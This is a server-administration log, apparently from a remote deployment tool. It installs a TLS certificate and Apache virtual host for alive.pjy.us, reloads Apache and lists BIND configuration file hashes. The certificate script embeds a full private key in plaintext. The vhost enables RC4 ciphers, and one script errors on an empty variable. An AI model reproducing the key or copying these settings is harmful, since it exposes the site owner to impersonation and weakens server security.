MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-04 14:50:31: Establishing a connection
2025-09-04 14:50:32: 

PUT: /tmp/pkp418280

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
2c:1c:d9:0e:ff:26:70:65:c0:96:6b:db:fd:d2:a5:8e

-----BEGIN CERTIFICATE-----
MIIE8zCCA9ugAwIBAgISBdmqjnn4RzZE5xdPxsKMhlaeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzNDU4WhcNMjUxMTIwMTAzNDU3WjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDR38C2D8pN
cOGf4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6A
prVeYhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLr
Xs7riGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw
6nlZSINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNx
gWo0eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhS
PXNePkmCLUwtAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKMz
TuhAcQcBG3MTBcu9viDdhe7OMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzMxLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AA3h8jAr0w3BQGIS
CepVLvxHdHyx1+kw7w5CHrR+Tqo0AAABmNGOHNMAAAQDAEcwRQIhANYLmh74t6Wk
dz2dLTN5jKXUBZ8FszaO22mOVvzbbqG8AiB72iTREsxRqcxcrNP9wVJu76hM3Q/+
TrXKJVmnU9BD7wB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mNGOHPAAAAQDAEgwRgIhAPGltw8ObOufb/mBkfyqUS+crsD0Z+uiL6S4gfEJqPEw
AiEA5mR9InW03xbl6cu+xOsa/evOm8hdJIZ6CF8Px07kiw4wDQYJKoZIhvcNAQEL
BQADggEBAGPU/oqHCGs3/8Qh1NdHxUkF+ufLeQbpQrvblbr9UcecJQHvHcqR4M+g
LmTnCpGsp3WOpYauH7kCesKucOTuZz7cgxlItsnR2WmIPlILLceR7vyUIdKYvLCi
c2Z/w6JkCYJa5IqnI37ogwE42EO3g8EPDG6Dz/bJBDBlaot2m7dM4bEoALWhQvD9
6ZHpcsICUXkUuWAgedNfeiTcg1FJ4JUbq9Boqto1l1Dh1uMOhy3jaWQ9CJ41YafQ
vfBlTj65EfPXgM8QZQquAx5Q5ZZo46ioiFgEC6J/O/3aSA4AynReE4wAWRpjTV9H
gocjnuxr+f7czyQl9RmcPf8MZuLh3gs=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDR38C2D8pNcOGf
4ABpumgT0USFP+tBM1GP7/D9ZDs2/SlGKM280r3Xugphezifr9bQlUXxji6AprVe
Yhzf8tylnhQgJoCCB57yTkq9kHrRUnNxmctRS8gfZ3PxlapX9kM0zvvqVPLrXs7r
iGVmqwD66S4ccqrDgCwCd8up+TCaB9J1EaiIUCE1PMfgvrd+T4Mc8t2s3Nsw6nlZ
SINaSwBLuKJ+2BYLXlN8cp6oBsXLzP1dJupGe8cCElOVs1lPTtaSE/Kv8cNxgWo0
eqLoSRT1edtrX50Y6kkCbwDSuZR0/0lq79jn6lz9eEFHmVjhVhFgxA0vcIhSPXNe
PkmCLUwtAgMBAAECggEAPgRmh+Ymm7etlHa26IdC1ghSvSVkOUIW6fe3OMlzjg5F
MgxAr3l+y86X3rJwyw9E5SIXJwgiybV5hshrS+oSNYZ+3/lApCvoViW4hEe7YzuA
DaOqpv1Dx7PkWREm4xNMTMCVRGuR1OeRMZx+ilYh1gMtsw5XU6n+V0RbFIEkUX9Q
8N2kylPbM4Bkr/SFTKHEhp3e6l8eZDu5Hc0CSkpFYif6IGzh43HLtZT+DK3ZjHyR
oEHUmb3hFPiPUQyeN8L026t9MQWiV9HjCrldvnD5/gKwJBq9tVLT0pp1Zj7UkED3
Ls9pd27tKloXIFxrEGiZzNGWUG3crxyVocNMoZEYaQKBgQD3rmpQ8rtnwXbALeod
3CzG2tezmSO/uQDrgoQN34QMeGlOJWgOHlFAOqVKrB+pz0MbBepTAeWgcNwotvyH
8jdFGI6ZglHauc/GKoHX6HkaTL5xwWpwE4z5Ecm0QlJjkCeqea+UWfAczP7zWanO
WDZU76152y/EBtvHGtr5HyI+iwKBgQDY7ERxGPF5t++xqhcFv/hdw2+dIeS4VYqS
E0hUtKSIzGQ8/8yWKJgEwDF6/AlKbwpYZwA/cj0fau8ZG9cArsvyd761JkpWXQ+k
qlcDGnqa1Z1uEY6Sdonzd5T8myJIW0qHOvqgT13w27JdXQIU9Fx88fSdMLfGvYZA
3fxOVvbvJwKBgQClNs7sWD3yI/bWksoMSQYFT41627gg94NJlbIInwQyXU/BNOqI
IGkKcxQ3D0G/v+V/bR61aBqIP0BcWFNzS3rauFrGw0ten3udMFWUdBn0FSUkNGSP
hjsPGXJ2r5bNmycabDlWt/eW/pdCNJk0b1supQIOusrN89U+pwdSDhaFqQKBgQCt
SOhPtI5KHp6SvX5QsI72UAYcbxPoESV2FYNFb1y0jxpQBEPpfBocSW/9f9LoLBYG
kpmHFXowW9sOose5Gul/Exs8WI8vuH2jnBOQPhnNEHIHmGzdIWaIIHHa7Q6Q4KSD
rKDDaUNxAf/VR1Q/awlrIlm3LFDSqVnS/cHsztnKJwKBgQDGuC44DdKYkMqD5Snv
MJaApWehkKUoOcGJPK6Y1dlzZBcyZG17i6sTJIDFd716ZtWVnfmDPEn/qMAEtXvp
WAGpdLYDNf1tIubpxchtmWqLgj7QxWCSAOWiXMR59YkTszVekhnv+famdac2XnBP
NozHPQRhmDJk7DdPb5zzcQxHeg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-04 14:50:33: 

chmod 755 /tmp/pkp418280; /tmp/pkp418280; rm /tmp/pkp418280

2025-09-04 14:50:33: 


dir=/etc/ssl/certs


2025-09-04 14:50:33: 

PUT: /tmp/pkp336718

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2025-09-04 14:50:34: 

chmod 755 /tmp/pkp336718; /tmp/pkp336718; rm /tmp/pkp336718

2025-09-04 14:50:34: 


/tmp/pkp336718: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp336718: line 58: [: !=: unary operator expected


2025-09-04 14:50:34: 

PUT: /tmp/pkp705654

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-04 14:50:34: 

chmod 755 /tmp/pkp705654; /tmp/pkp705654; rm /tmp/pkp705654

2025-09-04 14:50:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-04 14:50:35: Establishing a connection
2025-09-04 14:50:35: 

PUT: /tmp/pkp323880

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:50:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp323880; rm /tmp/pkp323880'

2025-09-04 14:50:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
